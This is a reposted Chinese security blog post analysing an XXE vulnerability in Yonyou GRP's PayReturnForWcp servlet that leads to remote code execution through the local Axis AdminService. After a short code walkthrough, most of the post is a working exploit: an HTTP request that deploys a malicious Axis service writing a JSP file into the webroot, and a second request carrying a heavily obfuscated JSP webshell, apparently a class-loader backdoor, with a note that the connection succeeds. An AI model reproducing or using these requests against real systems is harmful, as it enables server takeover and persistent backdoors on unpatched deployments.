用友GRP xxe getshell分析(附exp)

admin 2023年11月21日15:19:42评论134 views字数 12402阅读41分20秒阅读模式

0x01 前言


最近看到用友官方月初公布了一个ReturnForWcp命令执行的漏洞,比较简单,跟之前写的致远一样都是通过xxe漏洞打本地服务(这里是打的axis,由于默认AdminService的enableRemoteAdminfalse,所以需要本地去访问)。

用友GRP xxe getshell分析(附exp)

0x02 漏洞分析


XXE漏洞
根据官网通告查看映射。

用友GRP xxe getshell分析(附exp)

可以看到这里调用了xpw.analysisWcpXml来解析xml。

用友GRP xxe getshell分析(附exp)

跟进发现调用的是DocumentHelper.parseText,默认是没有禁止外部实体的。

用友GRP xxe getshell分析(附exp)

在新版本中已经修复,使用JDOM解析器禁止xml中某些实体的使用,代码如下图。

用友GRP xxe getshell分析(附exp)

AXIS利用
关于axis的利用,这里采用handlers.LogHandler来写入文件。

具体参考:
https://paper.seebug.org/1489/#1411-orgapacheaxishandlersloghandler-handler。

用友GRP xxe getshell分析(附exp)

0x03 漏洞复现


复制以下包,修改本地AdminService端口(一般情况下跟外网端口是一样的)、部署的名字以及上传的路径。

网站路径通过访问/u8qx/pubDownTemplate.jsp获取。

用友GRP xxe getshell分析(附exp)

用友GRP xxe getshell分析(附exp)

POST /servlet/PayReturnForWcp HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Content-Type: application/x-www-form-urlencodedContent-Length: 834
<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://127.0.0.1:9393/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ttt3%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22E:UFGOV-ZX10.5.2U8webappsu8qxttt2.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment">

可访问/services查看是否成功,然后替换上传的内容,出现下面的现象就是成功了。

用友GRP xxe getshell分析(附exp)

用友GRP xxe getshell分析(附exp)

POST /services/ttt3 HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8SOAPAction: ""Content-Length: 11968
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java"> <soapenv:Header/> <soapenv:Body> <util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <in0 xsi:type="xsd:long" xs:type="type:long" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[<% //uuu000auuuu0020uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0048uuuu0062uuuu0038uuuu0033uuuu0034uuuu0020uuuu003duuuu0020uuuu0072uuuu0065uuuu0071uuuu0075uuuu0065uuuu0073uuuu0074uuuu002euuuu0067uuuu0065uuuu0074uuuu0050uuuu0061uuuu0072uuuu0061uuuu006duuuu0065uuuu0074uuuu0065uuuu0072uuuu0028uuuu0022uuuu0070uuuu0061uuuu0073uuuu0073uuuu0022uuuu0029uuuu003buuuu0069uuuu0066uuuu0020uuuu0028uuuu0048uuuu0062uuuu0038uuuu0033uuuu0034uuuu0020uuuu0021uuuu003duuuu0020uuuu006euuuu0075uuuu006cuuuu006cuuuu0029uuuu0020uuuu007buuuu0020uuuu0063uuuu006cuuuu0061uuuu0073uuuu0073uuuu0020uuuu0045uuuu0070uuuu006cuuuu0078uuuu0038uuuu0034uuuu0061uuuu0033uuuu0020uuuu0065uuuu0078uuuu0074uuuu0065uuuu006euuuu0064uuuu0073uuuu002fuuuu002auuuu005auuuu0038uuuu0031uuuu0038uuuu0065uuuu0035uuuu0039uuuu0030uuuu0065uuuu0075uuuu002auuuu002fuuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu004cuuuu006fuuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu007buuuu0020uuuu0045uuuu0070uuuu006cuuuu0078uuuu0038uuuu0034uuuu0061uuuu0033uuuu0028uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu004cuuuu006fuuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu004cuuuu0074uuuu0038uuuu0056uuuu004auuuu0034uuuu0029uuuu0020uuuu007buuuu0020uuuu0073uuuu0075uuuu0070uuuu0065uuuu0072uuuu0028uuuu004cuuuu0074uuuu0038uuuu0056uuuu004auuuu0034uuuu0029uuuu003buuuu0020uuuu007duuuu0020uuuu0070uuuu0075uuuu0062uuuu006cuuuu0069uuuu0063uuuu0020uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0020uuuu0048uuuu0062uuuu0038uuuu0033uuuu0034uuuu0028uuuu0062uuuu0079uuuu0074uuuu0065uuuu005buuuu005duuuu0020uuuu0062uuuu0029uuuu0020uuuu007buuuu0020uuuu0072uuuu0065uuuu0074uuuu0075uuuu0072uuuu006euuuu0020uuuu0073uuuu0075uuuu0070uuuu0065uuuu0072uuuu002euuuu0064uuuu0065uuuu0066uuuu0069uuuu006euuuu0065uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0028uuuu0062uuuu002cuuuu0020uuuu0030uuuu002cuuuu0020uuuu0062uuuu002euuuu006cuuuu0065uuuu006euuuu0067uuuu0074uuuu0068uuuu0029uuuu003buuuu007duuuu007duuuu0062uuuu0079uuuu0074uuuu0065uuuu005buuuu005duuuu0020uuuu0062uuuu0079uuuu0074uuuu0065uuuu0073uuuu0020uuuu003duuuu0020uuuu006euuuu0075uuuu006cuuuu006cuuuu003buuuu0074uuuu0072uuuu0079uuuu0020uuuu007buuuu0069uuuu006euuuu0074uuuu005buuuu005duuuu0020uuuu0061uuuu0061uuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0069uuuu006euuuu0074uuuu005buuuu005duuuu007buuuu0039uuuu0039uuuu002cuuuu0020uuuu0031uuuu0030uuuu0031uuuu002cuuuu0020uuuu0031uuuu0032uuuu0036uuuu002cuuuu0020uuuu0036uuuu0032uuuu002cuuuu0020uuuu0031uuuu0032uuuu0035uuuu002cuuuu0020uuuu0031uuuu0032uuuu0031uuuu002cuuuu0020uuuu0039uuuu0039uuuu002cuuuu0020uuuu0031uuuu0031uuuu0035uuuu002cuuuu0020uuuu0036uuuu0032uuuu002cuuuu0020uuuu0038uuuu0032uuuu002cuuuu0020uuuu0038uuuu0031uuuu002cuuuu0020uuuu0036uuuu0037uuuu002cuuuu0020uuuu0038uuuu0035uuuu002cuuuu0020uuuu0033uuuu0038uuuu002cuuuu0020uuuu0033uuuu0036uuuu002cuuuu0020uuuu0038uuuu0034uuuu002cuuuu0020uuuu0031uuuu0031uuuu0037uuuu002cuuuu0020uuuu0031uuuu0031uuuu0035uuuu002cuuuu0020uuuu0031uuuu0032uuuu0037uuuu002cuuuu0020uuuu0031uuuu0031uuuu0036uuuu002cuuuu0020uuuu0031uuuu0031uuuu0037uuuu002cuuuu0020uuuu0039uuuu0038uuuu007duuuu003buuuu0020uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0020uuuu003duuuu0020uuuu0022uuuu0022uuuu003buuuu0066uuuu006fuuuu0072uuuu0020uuuu0028uuuu0069uuuu006euuuu0074uuuu0020uuuu0069uuuu0020uuuu003duuuu0020uuuu0030uuuu003buuuu0020uuuu0069uuuu0020uuuu003cuuuu0020uuuu0061uuuu0061uuuu002euuuu006cuuuu0065uuuu006euuuu0067uuuu0074uuuu0068uuuu003buuuu0020uuuu0069uuuu002buuuu002buuuu0029uuuu0020uuuu007buuuu0061uuuu0061uuuu005buuuu0069uuuu005duuuu0020uuuu003duuuu0020uuuu0061uuuu0061uuuu005buuuu0069uuuu005duuuu0020uuuu005euuuu0020uuuu0030uuuu0078uuuu0030uuuu0031uuuu0030uuuu003buuuu0020uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0020uuuu003duuuu0020uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0020uuuu002buuuu0020uuuu0028uuuu0063uuuu0068uuuu0061uuuu0072uuuu0029uuuu0020uuuu0061uuuu0061uuuu005buuuu0069uuuu005duuuu003buuuu007duuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0020uuuu0041uuuu0034uuuu0063uuuu0030uuuu0069uuuu0020uuuu003duuuu0020uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu002euuuu0066uuuu006fuuuu0072uuuu004euuuu0061uuuu006duuuu0065uuuu0028uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0029uuuu003buuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu006buuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0028uuuu006euuuu0065uuuu0077uuuu0020uuuu0062uuuu0079uuuu0074uuuu0065uuuu005buuuu005duuuu007buuuu0031uuuu0030uuuu0030uuuu002cuuuu0031uuuu0030uuuu0031uuuu002cuuuu0039uuuu0039uuuu002cuuuu0031uuuu0031uuuu0031uuuu002cuuuu0031uuuu0030uuuu0030uuuu002cuuuu0031uuuu0030uuuu0031uuuu002cuuuu0036uuuu0036uuuu002cuuuu0031uuuu0031uuuu0037uuuu002cuuuu0031uuuu0030uuuu0032uuuu002cuuuu0031uuuu0030uuuu0032uuuu002cuuuu0031uuuu0030uuuu0031uuuu002cuuuu0031uuuu0031uuuu0034uuuu007duuuu0029uuuu003buuuu0062uuuu0079uuuu0074uuuu0065uuuu0073uuuu0020uuuu003duuuu0020uuuu0028uuuu0062uuuu0079uuuu0074uuuu0065uuuu005buuuu005duuuu0029uuuu0020uuuu0041uuuu0034uuuu0063uuuu0030uuuu0069uuuu002euuuu0067uuuu0065uuuu0074uuuu004duuuu0065uuuu0074uuuu0068uuuu006fuuuu0064uuuu0028uuuu006buuuu002cuuuu0020uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu002euuuu0063uuuu006cuuuu0061uuuu0073uuuu0073uuuu0029uuuu002euuuu0069uuuu006euuuu0076uuuu006fuuuu006buuuu0065uuuu0028uuuu0041uuuu0034uuuu0063uuuu0030uuuu0069uuuu002euuuu006euuuu0065uuuu0077uuuu0049uuuu006euuuu0073uuuu0074uuuu0061uuuu006euuuu0063uuuu0065uuuu0028uuuu0029uuuu002cuuuu0020uuuu0048uuuu0062uuuu0038uuuu0033uuuu0034uuuu0029uuuu003buuuu007duuuu0063uuuu0061uuuu0074uuuu0063uuuu0068uuuu0020uuuu0028uuuu0045uuuu0078uuuu0063uuuu0065uuuu0070uuuu0074uuuu0069uuuu006fuuuu006euuuu0020uuuu0065uuuu0029uuuu0020uuuu007buuuu0069uuuu006euuuu0074uuuu005buuuu005duuuu0020uuuu0061uuuu0061uuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0069uuuu006euuuu0074uuuu005buuuu005duuuu007buuuu0031uuuu0032uuuu0032uuuu002cuuuu0020uuuu0031uuuu0031uuuu0033uuuu002cuuuu0020uuuu0031uuuu0030uuuu0032uuuu002cuuuu0020uuuu0031uuuu0031uuuu0033uuuu002cuuuu0020uuuu0036uuuu0032uuuu002cuuuu0020uuuu0031uuuu0030uuuu0031uuuu002cuuuu0020uuuu0031uuuu0030uuuu0030uuuu002cuuuu0020uuuu0031uuuu0032uuuu0031uuuu002cuuuu0020uuuu0031uuuu0032uuuu0034uuuu002cuuuu0020uuuu0036uuuu0032uuuu002cuuuu0020uuuu0038uuuu0032uuuu002cuuuu0020uuuu0031uuuu0031uuuu0033uuuu002cuuuu0020uuuu0039uuuu0039uuuu002cuuuu0020uuuu0031uuuu0031uuuu0037uuuu002cuuuu0020uuuu0033uuuu0038uuuu002cuuuu0020uuuu0033uuuu0036uuuu007duuuu003buuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0020uuuu003duuuu0020uuuu0022uuuu0022uuuu003buuuu0066uuuu006fuuuu0072uuuu0020uuuu0028uuuu0069uuuu006euuuu0074uuuu0020uuuu0069uuuu0020uuuu003duuuu0020uuuu0030uuuu003buuuu0020uuuu0069uuuu0020uuuu003cuuuu0020uuuu0061uuuu0061uuuu002euuuu006cuuuu0065uuuu006euuuu0067uuuu0074uuuu0068uuuu003buuuu0020uuuu0069uuuu002buuuu002buuuu0029uuuu0020uuuu007buuuu0061uuuu0061uuuu005buuuu0069uuuu005duuuu0020uuuu003duuuu0020uuuu0061uuuu0061uuuu005buuuu0069uuuu005duuuu0020uuuu005euuuu0020uuuu0030uuuu0078uuuu0030uuuu0031uuuu0030uuuu003buuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0020uuuu003duuuu0020uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0020uuuu002buuuu0020uuuu0028uuuu0063uuuu0068uuuu0061uuuu0072uuuu0029uuuu0020uuuu0061uuuu0061uuuu005buuuu0069uuuu005duuuu003buuuu007duuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0020uuuu0063uuuu006cuuuu0061uuuu007auuuu007auuuu0020uuuu003duuuu0020uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu002euuuu0066uuuu006fuuuu0072uuuu004euuuu0061uuuu006duuuu0065uuuu0028uuuu0063uuuu0063uuuu0073uuuu0074uuuu0072uuuu0029uuuu003buuuu004fuuuu0062uuuu006auuuu0065uuuu0063uuuu0074uuuu0020uuuu0064uuuu0065uuuu0063uuuu006fuuuu0064uuuu0065uuuu0072uuuu0020uuuu003duuuu0020uuuu0063uuuu006cuuuu0061uuuu007auuuu007auuuu002euuuu0067uuuu0065uuuu0074uuuu004duuuu0065uuuu0074uuuu0068uuuu006fuuuu0064uuuu0028uuuu0022uuuu0067uuuu0065uuuu0074uuuu0044uuuu0065uuuu0063uuuu006fuuuu0064uuuu0065uuuu0072uuuu0022uuuu0029uuuu002euuuu0069uuuu006euuuu0076uuuu006fuuuu006buuuu0065uuuu0028uuuu006euuuu0075uuuu006cuuuu006cuuuu0029uuuu003buuuu0062uuuu0079uuuu0074uuuu0065uuuu0073uuuu0020uuuu003duuuu0020uuuu0028uuuu0062uuuu0079uuuu0074uuuu0065uuuu005buuuu005duuuu0029uuuu0020uuuu0064uuuu0065uuuu0063uuuu006fuuuu0064uuuu0065uuuu0072uuuu002euuuu0067uuuu0065uuuu0074uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0028uuuu0029uuuu002euuuu0067uuuu0065uuuu0074uuuu004duuuu0065uuuu0074uuuu0068uuuu006fuuuu0064uuuu0028uuuu0022uuuu0064uuuu0065uuuu0063uuuu006fuuuu0064uuuu0065uuuu0022uuuu002cuuuu0020uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu002euuuu0063uuuu006cuuuu0061uuuu0073uuuu0073uuuu0029uuuu002euuuu0069uuuu006euuuu0076uuuu006fuuuu006buuuu0065uuuu0028uuuu0064uuuu0065uuuu0063uuuu006fuuuu0064uuuu0065uuuu0072uuuu002cuuuu0020uuuu0048uuuu0062uuuu0038uuuu0033uuuu0034uuuu0029uuuu003buuuu007duuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0020uuuu0061uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0045uuuu0070uuuu006cuuuu0078uuuu0038uuuu0034uuuu0061uuuu0033uuuu0028uuuu0054uuuu0068uuuu0072uuuu0065uuuu0061uuuu0064uuuu002euuuu0063uuuu0075uuuu0072uuuu0072uuuu0065uuuu006euuuu0074uuuu0054uuuu0068uuuu0072uuuu0065uuuu0061uuuu0064uuuu0028uuuu0029uuuu002euuuu0067uuuu0065uuuu0074uuuu0043uuuu006fuuuu006euuuu0074uuuu0065uuuu0078uuuu0074uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu004cuuuu006fuuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu0029uuuu0029uuuu002euuuu0048uuuu0062uuuu0038uuuu0033uuuu0034uuuu0028uuuu0062uuuu0079uuuu0074uuuu0065uuuu0073uuuu0029uuuu003buuuu004fuuuu0062uuuu006auuuu0065uuuu0063uuuu0074uuuu0020uuuu006fuuuu0020uuuu003duuuu0020uuuu0061uuuu0043uuuu006cuuuu0061uuuu0073uuuu0073uuuu002euuuu006euuuu0065uuuu0077uuuu0049uuuu006euuuu0073uuuu0074uuuu0061uuuu006euuuu0063uuuu0065uuuu0028uuuu0029uuuu003buuuu006fuuuu002euuuu0065uuuu0071uuuu0075uuuu0061uuuu006cuuuu0073uuuu0028uuuu0070uuuu0061uuuu0067uuuu0065uuuu0043uuuu006fuuuu006euuuu0074uuuu0065uuuu0078uuuu0074uuuu0029uuuu003buuuu007duuuu0020uuuu0065uuuu006cuuuu0073uuuu0065uuuu0020uuuu007buuuu007d %>]]></in0> <in1 xsi:type="xsd:long" xs:type="type:long" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1> </util:ints> </soapenv:Body></soapenv:Envelope>

连接成功。

用友GRP xxe getshell分析(附exp)

0x04 小密圈


最后送你一张优惠券,欢迎加入小密圈,好朋友。

用友GRP xxe getshell分析(附exp)

原文始发于微信公众号(小黑说安全):用友GRP xxe getshell分析(附exp)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月21日15:19:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友GRP xxe getshell分析(附exp)http://cn-sec.com/archives/2218779.html

发表评论

匿名网友 填写信息